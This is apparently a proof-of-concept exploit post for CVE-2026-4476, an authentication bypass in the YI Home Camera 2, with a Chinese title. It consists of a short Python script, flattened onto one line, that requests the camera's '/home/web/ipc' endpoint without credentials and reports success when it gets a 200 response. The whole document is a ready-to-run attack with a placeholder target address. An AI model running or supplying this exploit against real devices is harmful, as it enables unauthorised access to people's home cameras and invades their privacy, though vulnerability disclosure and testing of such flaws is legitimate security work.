CVE-2026-4476: YI Home Camera 2 认证绕过漏洞

import requests def exploit_cve_2026_4476(target_ip): """ PoC for CVE-2026-4476 Authentication Bypass Target: Yi Technology YI Home Camera 2 """ # The vulnerable endpoint identified in the advisory url = f"http://{target_ip}/home/web/ipc" try: # Sending a request without authentication headers response = requests.get(url, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed.") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP exploit_cve_2026_4476(target)